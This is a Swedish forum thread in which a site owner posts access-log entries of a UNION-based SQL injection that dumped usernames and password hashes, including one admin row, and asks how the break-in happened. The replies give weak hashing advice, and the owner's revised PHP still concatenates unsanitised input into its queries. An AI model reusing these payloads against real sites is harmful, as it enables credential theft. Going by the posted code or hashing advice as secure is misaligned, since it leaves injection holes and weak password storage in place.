91.187.116.68 - - [24/Jul/2009:01:42:16 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%2015,1-- HTTP/1.1" 200 3373
91.187.116.68 - - [24/Jul/2009:01:42:16 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%2016,1-- HTTP/1.1" 200 3366
91.187.116.68 - - [24/Jul/2009:01:42:16 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%2017,1-- HTTP/1.1" 200 3370
91.187.116.68 - - [24/Jul/2009:01:42:16 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%2018,1-- HTTP/1.1" 200 3365
91.187.116.68 - - [24/Jul/2009:01:42:16 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,table_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.tables+where+table_schema=Concat(char(100),char(9Cool,char(109),char(101),char(100),char(105),char(97),char(97),char(114),char(116),char(101),char(115))+LIMIT%2019,1-- HTTP/1.1" 200 3277
91.187.116.68 - - [24/Jul/2009:01:42:21 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,column_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.columns+where+table_name=Concat(char(116),char(9Cool,char(108),char(95),char(117),char(115),char(101),char(114),char(115))+LIMIT%201,1-- HTTP/1.1" 200 3364
91.187.116.68 - - [24/Jul/2009:01:42:21 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,column_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.columns+where+table_name=Concat(char(116),char(9Cool,char(108),char(95),char(117),char(115),char(101),char(114),char(115))+LIMIT%202,1-- HTTP/1.1" 200 3365
91.187.116.68 - - [24/Jul/2009:01:42:21 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,column_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.columns+where+table_name=Concat(char(116),char(9Cool,char(108),char(95),char(117),char(115),char(101),char(114),char(115))+LIMIT%203,1-- HTTP/1.1" 200 3364
91.187.116.68 - - [24/Jul/2009:01:42:21 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(concat(0x5B6B65795D,column_name,0x5B6B65795D)))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.columns+where+table_name=Concat(char(116),char(9Cool,char(108),char(95),char(117),char(115),char(101),char(114),char(115))+LIMIT%204,1-- HTTP/1.1" 200 3277
91.187.116.68 - - [24/Jul/2009:01:42:26 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(CONCAT(CHAR(64),CHAR(95),CHAR(64),count(username),CHAR(64),CHAR(95),CHAR(64))))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+dbms.tbl_users%20+-- HTTP/1.1" 200 3353
91.187.116.68 - - [24/Jul/2009:01:42:26 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(CONCAT(CHAR(64),CHAR(95),CHAR(64),username,char(59),userlevel,char(59),password,char(59),CHAR(64),CHAR(95),CHAR(64))))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+dbms.tbl_users%20%20LIMIT%200,1-- HTTP/1.1" 200 3405
91.187.116.68 - - [24/Jul/2009:01:42:26 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(CONCAT(CHAR(64),CHAR(95),CHAR(64),username,char(59),userlevel,char(59),password,char(59),CHAR(64),CHAR(95),CHAR(64))))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+dbm.tbl_users%20%20LIMIT%202,1-- HTTP/1.1" 200 3405
91.187.116.68 - - [24/Jul/2009:01:42:26 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(CONCAT(CHAR(64),CHAR(95),CHAR(64),username,char(59),userlevel,char(59),password,char(59),CHAR(64),CHAR(95),CHAR(64))))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+dbms.tbl_users%20%20LIMIT%201,1-- HTTP/1.1" 200 3404
91.187.116.68 - - [24/Jul/2009:01:42:27 +0200] "GET /kalender/event.php?id=51+and+1=0+%20Union%20Select%20%20%20UNHEX(HEX(CONCAT(CHAR(64),CHAR(95),CHAR(64),username,char(59),userlevel,char(59),password,char(59),CHAR(64),CHAR(95),CHAR(64))))%20%20,2,3,4,5,6,7,8,9,10,11,12+FROM+dbms.tbl_users%20%20LIMIT%203,1-- HTTP/1.1" 200 3277

Kan det vara så här de kommit in? Längst ner har de ju hittat tabellen med users i alla fall.

När jag kör de sista länken på event.php får de fram info ur databasen:

http://www.minsida.net/kalender/event.php?id=@_@Ola Salo;admin;728ce7e5dd81b37b7115ab5278fea14c;@_@

Alltså användarnamn och lösenordet krypterat med MD5

2 minuter efter det så kör samma ip 10 loginförsök på admin-sidan och sedan verkar det som de börjat röja på editeringssidorna. Kan de knäckt lösenordet så fort?

http://en.wikipedia.org/wiki/Rainbow_table
Du bör salta lösenorden innan du hashar dem.
ex: $pass_hash = md5($passwd.$mysecretsaltstring); eller kanske ngt sånt här:
$pass_hash = md5($passwd.sha1($passwd));

Nate.A skrev:

http://en.wikipedia.org/wiki/Rainbow_table
Du bör salta lösenorden innan du hashar dem.
ex: $pass_hash = md5($passwd.$mysecretsaltstring); eller kanske ngt sånt här:
$pass_hash = md5($passwd.sha1($passwd));

Låter bra. Ursäkta en dum fråga då bara.

jag vill använda $pass_hash = md5($passwd.$mysecretsaltstring);

Min $mysecretsaltstring är "poiugh1234"
Användarens lösen är "olle"

Jag skapar en användare manuellt i phpmyadmin. Jag har ingen sida där man kna registrera sig. Då anger jag i passwordfältet där: "poiugh1234olle" krypterat med MD5?

och sen blir koden i mitt loginscript?

$mysecretsaltstring='poiugh1234'
$p = md5($p.$mysecretsaltstring); 
	
$query = "SELECT user_id, username, userlevel FROM tbl_users WHERE username='$u' AND password='$p'";

Läsvärt om hashning: http://patrikc.wordpress.com/2009/08/23/skydda-dina-anvandares-losenord-med-hashfunktion-och-salt/

Zaiman skrev:

Läsvärt om hashning: http://patrikc.wordpress.com/2009/08/23/skydda-dina-anvandares-losenord-med-hashfunktion-och-salt/

Tycker mycket i den artikeln var väldigt overkill. SHA1 + Användarsalt räcker gott och väl, resten gör nog mer skada än nytta för gemene man.

Jag har gjort en saltning nu med statiskt salt + dynamiskt baserat på användarnamn. Är detta tillräckligt?

skapa_anvandare.php

//Kod för att skapa en användare
//lite kod innan detta

$id = $_GET['id'];
$u = '$username';
$pass = '$password';
$salt = '3p!y.vLvrhBI:dKP=F4&';
$p = sha1($u.$salt.$pass);
	  

$query = "UPDATE tbl_users SET password='".sha1($p)."' where user_id = $id";		
$result = @mysql_query ($query);
if ($result) {
		
	echo '<p>Användaren skapades</p>';
			
} else {
	$message = '<p class="red">Databasfel.</p><p class="red">' . mysql_error() . '</p>'; 
}

login.php

//lite kod innan detta
$salt = '3p!y.vLvrhBI:dKP=F4&';
$p = sha1($u.$salt.$p);
	  
$query = "SELECT user_id, username, userlevel FROM tbl_users WHERE username='$u' AND password='".sha1($p)."'";		
$result = @mysql_query ($query);
$row = mysql_fetch_array ($result, MYSQL_NUM); 
if ($row) { 

	$_SESSION['username'] = $row[1];
	$_SESSION['userlevel'] = $row[2];
					
} else {
	$message = '<p class="red">Användarnamn och/eller lösenord stämmer inte.</p>'; 
}